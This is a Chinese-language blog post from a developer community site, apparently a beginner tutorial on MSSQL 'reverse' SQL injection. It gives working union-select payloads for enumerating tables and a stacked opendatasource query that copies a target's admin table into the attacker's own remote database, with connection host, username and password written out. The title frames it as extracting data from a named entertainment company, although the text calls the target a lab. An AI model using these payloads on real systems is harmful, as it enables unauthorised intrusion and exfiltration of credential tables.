前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >MSSQL反弹注入获取迅达娱乐数据库信息数据

MSSQL反弹注入获取迅达娱乐数据库信息数据

原创
作者头像
迅达集团
修改2019-06-26 18:56:19
2K0
修改2019-06-26 18:56:19
举报
文章被收录于专栏:工作专用1工作专用1

大家好我是sarizs,今天分享一个MSSQL数据的反弹注入获取数据库数据到本地,这技术分享适合才开始学习sql注入的小白(大佬绕过)。

既然要反弹注入我们需要有一个反弹的MSSQL数据库对象,这里我使用中国香港云的虚拟主机   使用URL:http://www.webweb.com

这里我们去创建一个表用来接收反弹过来的数据信息,其中的字段个数需要我们反弹时候去猜,但这里我们是用的靶场环境已经知道有多少字段所以我在这里就直接创建就可以了。

好了环境准备好后我们开始打开靶场进行反弹注入

使用常见的判断注入手法

and 1=2

order by

union all

等手法这里我通过测试和注入构建好了我们的注入语句

  http://x.x.x.x/?id= 2' and 1=2 union all select null,null,null 20from admin --

看到字段以后我们把admin 表换成dbo.sysobjects where xtype='U' (这库记录了所有对的表,而等于U是查找用户自建表)

有一点点变化,但是没有数据出来,因为我们上面的空值还存在,给出我们要显示的值试试。

  http://x.x.x.x/MSSQL/?id=2' and 1=2 union all select id,null,null from dbo.sysobjects where xtype='U' --

到这里我们已经证明了数据库是存在注入的那么我们现在就可以开始进行反弹注入了,在反弹注入中我们要想了解MSSQL的一个函数opendatasource 这是MSSQL的夸库查询我们要反弹注入必须的确保这个函数是开启的

我们开始构建语句

;insert into opendatasource('sqloledb','server=SQL5006.webweb.com,1433;uid=DB_14B3169_lddf_admin;pwd=1232345;database=DB_14B3169_lddf').DB_14B3169_lddf.dbo.a select * from admin --

;代表上一个语句的结束我们新启用另一个语句

insert into 把我们查询的内容写入到我们的数据库中

OPENDATASOURCE(provider_name,init_string) 分别代表我的数据库名,连接地址,用户,密码,端口

.DB_14B3169_lddf.dbo.a 代表我们连接的哪个库中的哪个表

这个语句翻译过来就是我结束上一个语句并新启一个语句,把我们当前查询到的admin表的数据写入到我们远程的数据库中去

我们接下来去我们的主机上看是否有反弹过来的数据

这边已经成功的接受到了我们反弹过来的数据信息。

这里mssql反弹注入就介绍到这里有什么疑惑和问题欢迎大家留言。

原创声明:本文系作者授权腾讯云开发者社区发表,未经许可,不得转载。

如有侵权,请联系 cloudcommunity@tencent.com 删除。

原创声明:本文系作者授权腾讯云开发者社区发表,未经许可,不得转载。

如有侵权,请联系 cloudcommunity@tencent.com 删除。

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
相关产品与服务
数据库
云数据库为企业提供了完善的关系型数据库、非关系型数据库、分析型数据库和数据库生态工具。您可以通过产品选择和组合搭建,轻松实现高可靠、高可用性、高性能等数据库需求。云数据库服务也可大幅减少您的运维工作量,更专注于业务发展,让企业一站式享受数据上云及分布式架构的技术红利!
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档